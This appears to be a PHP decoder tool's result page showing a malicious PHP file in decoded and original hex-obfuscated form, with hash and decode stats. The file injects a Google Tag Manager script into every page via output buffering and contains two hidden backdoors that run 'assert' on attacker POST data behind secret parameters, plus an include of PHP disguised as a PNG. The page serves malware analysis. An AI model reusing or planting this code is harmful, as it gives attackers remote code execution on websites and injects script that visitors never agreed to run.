Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                       /*521x*/ ${"GLOBALS"}["stkbeddtots"]="pos";${"GLOBALS"}["vgrxvwp"]="head";${"GLOBALS"}["mbkconeejpu"]="o";${"GLOBALS"}["lyslffpg"]="js";if(!@defined("GTM_IJED")){@define("GTM_IJED",true);if(!@function_exists("ijgtm")){function ijgtm(){$vnbbtyards="o";$evefahjc="o";${"GLOBALS"}["njvvzji"]="o";$frccmlzvk="o";$nkmybygm="o";${$evefahjc}=@ob_get_contents();${${"GLOBALS"}["lyslffpg"]}="<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j = d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-PDDL2SH');</script>";if(${$nkmybygm}!==false&&preg_match("#<head#i",${$frccmlzvk})==1&&preg_match("#<html#i",${$vnbbtyards})==1&&preg_match("#<body#i",${${"GLOBALS"}["mbkconeejpu"]})==1&&preg_match("#<meta #i",${${"GLOBALS"}["njvvzji"]})==1){$sbtttiv="head";@ob_end_clean();if(@preg_match("#<head [^>]*>|<head>#i",${${"GLOBALS"}["mbkconeejpu"]},${$sbtttiv})==1){${"GLOBALS"}["usrncrwx"]="o";$jesxlszhx="pos";${"GLOBALS"}["heyfukriln"]="pos";$ruvmkhsdhf="o";${"GLOBALS"}["wfzxiwe"]="o";$vxeffcrhkfq="o";${$jesxlszhx}=@strpos(${$vxeffcrhkfq},${${"GLOBALS"}["vgrxvwp"]}[0])+@strlen(${${"GLOBALS"}["vgrxvwp"]}[0]);${${"GLOBALS"}["usrncrwx"]}=@substr(${$ruvmkhsdhf},0,${${"GLOBALS"}["stkbeddtots"]}).${${"GLOBALS"}["lyslffpg"]}.@substr(${${"GLOBALS"}["wfzxiwe"]},${${"GLOBALS"}["heyfukriln"]});}echo(${${"GLOBALS"}["mbkconeejpu"]});}}}@ob_start();@register_shutdown_function("ijgtm");} /*0v4y*/ ?><?php ${"GLOBALS"}["gpxebpcu"]="c";if(isset($_GET["cee98"])&&isset($_POST["4b4f2"])){${${"GLOBALS"}["gpxebpcu"]}=base64_decode("YXNzZXI=")."t";@${${"GLOBALS"}["gpxebpcu"]}($_POST["4b4f2"]);exit();} ?><?php @require('images/test.png');?><?php ${"GLOBALS"}["gpxebpcu"]="c";if(isset($_GET["fe516"])&&isset($_POST["682a1"])){${${"GLOBALS"}["gpxebpcu"]}=base64_decode("YXNzZXI=")."t";@${${"GLOBALS"}["gpxebpcu"]}($_POST["682a1"]);exit();} ?> 

Did this file decode correctly?

Original Code

<?php                                                                                                       /*521x*/ ${"\x47\x4cO\x42\x41LS"}["s\x74\x6bb\x65\x64d\x74\x6ft\x73"]="\x70\x6fs";${"\x47LO\x42AL\x53"}["v\x67\x72\x78\x76\x77p"]="\x68ea\x64";${"\x47L\x4f\x42AL\x53"}["m\x62\x6b\x63\x6fn\x65\x65\x6a\x70u"]="o";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x79\x73\x6cff\x70\x67"]="js";if(!@defined("GTM_I\x4a\x45\x44")){@define("GT\x4d\x5f\x49J\x45D",true);if(!@function_exists("\x69jgt\x6d")){function ijgtm(){$vnbbtyards="\x6f";$evefahjc="\x6f";${"\x47L\x4f\x42\x41L\x53"}["\x6e\x6a\x76\x76\x7aj\x69"]="o";$frccmlzvk="\x6f";$nkmybygm="o";${$evefahjc}=@ob_get_contents();${${"G\x4c\x4f\x42A\x4c\x53"}["\x6c\x79\x73l\x66\x66pg"]}="<\x73\x63ri\x70\x74\x3e(\x66unct\x69on(w,\x64,\x73,l,i){w[\x6c]=\x77[l]||[]\x3b\x77[\x6c].\x70ush({'g\x74m.\x73t\x61rt\x27: ne\x77\x20D\x61t\x65().ge\x74\x54i\x6d\x65(),e\x76e\x6e\x74:'gt\x6d\x2e\x6as'})\x3bvar \x66\x3d\x64\x2eg\x65\x74\x45le\x6de\x6e\x74sByT\x61g\x4eame(s)[\x30], \x6a \x3d\x20\x64.cre\x61\x74eE\x6cem\x65\x6et(\x73),d\x6c\x3dl\x21\x3d'\x64\x61\x74\x61L\x61ye\x72\x27?\x27&l\x3d\x27+\x6c:'\x27;j\x2eas\x79\x6ec\x3dt\x72ue\x3bj.s\x72\x63\x3d\x20\x27\x68\x74\x74\x70\x73://\x77\x77w.\x67\x6fo\x67l\x65\x74\x61\x67m\x61na\x67\x65\x72\x2e\x63\x6fm/g\x74m\x2ejs?\x69\x64\x3d\x27+i+\x64\x6c;f\x2e\x70\x61\x72\x65\x6e\x74\x4eod\x65\x2e\x69n\x73\x65\x72tB\x65\x66\x6fre(j,\x66)\x3b })(w\x69\x6e\x64o\x77,d\x6fc\x75m\x65nt,'\x73\x63\x72i\x70t','\x64\x61ta\x4c\x61y\x65r',\x27G\x54M-P\x44DL2\x53\x48')\x3b</sc\x72ipt\x3e";if(${$nkmybygm}!==false&&preg_match("#\x3c\x68\x65\x61d\x23i",${$frccmlzvk})==1&&preg_match("#\x3c\x68tml#\x69",${$vnbbtyards})==1&&preg_match("\x23\x3c\x62o\x64y#i",${${"\x47\x4c\x4fB\x41LS"}["\x6d\x62\x6b\x63\x6fn\x65e\x6ap\x75"]})==1&&preg_match("\x23\x3cm\x65t\x61 #\x69",${${"\x47\x4cOB\x41\x4c\x53"}["\x6e\x6av\x76\x7aj\x69"]})==1){$sbtttiv="\x68e\x61d";@ob_end_clean();if(@preg_match("#<h\x65a\x64 [^\x3e]*\x3e|<head\x3e\x23\x69",${${"G\x4cOBA\x4c\x53"}["m\x62\x6b\x63\x6f\x6e\x65ejpu"]},${$sbtttiv})==1){${"G\x4c\x4fB\x41\x4c\x53"}["u\x73\x72\x6ec\x72\x77\x78"]="\x6f";$jesxlszhx="po\x73";${"\x47\x4c\x4f\x42ALS"}["h\x65\x79f\x75kr\x69\x6c\x6e"]="\x70\x6fs";$ruvmkhsdhf="\x6f";${"G\x4cOB\x41\x4cS"}["\x77\x66z\x78\x69\x77\x65"]="\x6f";$vxeffcrhkfq="\x6f";${$jesxlszhx}=@strpos(${$vxeffcrhkfq},${${"\x47\x4cO\x42\x41LS"}["v\x67rxv\x77\x70"]}[0])+@strlen(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x76\x67r\x78\x76\x77p"]}[0]);${${"\x47\x4cOB\x41LS"}["u\x73r\x6e\x63\x72\x77\x78"]}=@substr(${$ruvmkhsdhf},0,${${"\x47LO\x42A\x4c\x53"}["s\x74k\x62\x65\x64d\x74\x6f\x74s"]}).${${"GL\x4f\x42\x41\x4cS"}["\x6c\x79s\x6cf\x66\x70\x67"]}.@substr(${${"G\x4c\x4f\x42\x41LS"}["wfzxi\x77e"]},${${"\x47\x4c\x4f\x42\x41L\x53"}["\x68ey\x66\x75k\x72\x69\x6c\x6e"]});}echo(${${"\x47L\x4fBAL\x53"}["\x6d\x62\x6bco\x6e\x65\x65j\x70u"]});}}}@ob_start();@register_shutdown_function("\x69\x6agt\x6d");} /*0v4y*/ ?><?php ${"G\x4c\x4f\x42\x41\x4c\x53"}["g\x70x\x65\x62p\x63\x75"]="c";if(isset($_GET["cee98"])&&isset($_POST["4b4f2"])){${${"\x47\x4cO\x42A\x4c\x53"}["g\x70\x78\x65\x62p\x63\x75"]}=base64_decode("YX\x4ez\x5aX\x49\x3d")."t";@${${"G\x4c\x4fB\x41\x4c\x53"}["\x67\x70xe\x62\x70c\x75"]}($_POST["4b4f2"]);exit();} ?><?php @require('images/test.png');?><?php ${"G\x4c\x4f\x42\x41\x4c\x53"}["g\x70x\x65\x62p\x63\x75"]="c";if(isset($_GET["fe516"])&&isset($_POST["682a1"])){${${"\x47\x4cO\x42A\x4c\x53"}["g\x70\x78\x65\x62p\x63\x75"]}=base64_decode("YX\x4ez\x5aX\x49\x3d")."t";@${${"G\x4c\x4fB\x41\x4c\x53"}["\x67\x70xe\x62\x70c\x75"]}($_POST["682a1"]);exit();} ?>

Function Calls

defined 1

Variables

GLOBALS [{'key': 'stkbeddtots', 'value': 'pos'}, {'key': 'vgrxvwp', 'value': 'head'}, {'key': 'mbkconeejpu', 'value': 'o'}, {'key': 'lyslffpg', 'value': 'js'}]

Stats

MD5 502ba59cafb74309a9f85b3601e21373
Eval Count 0
Decode Time 94 ms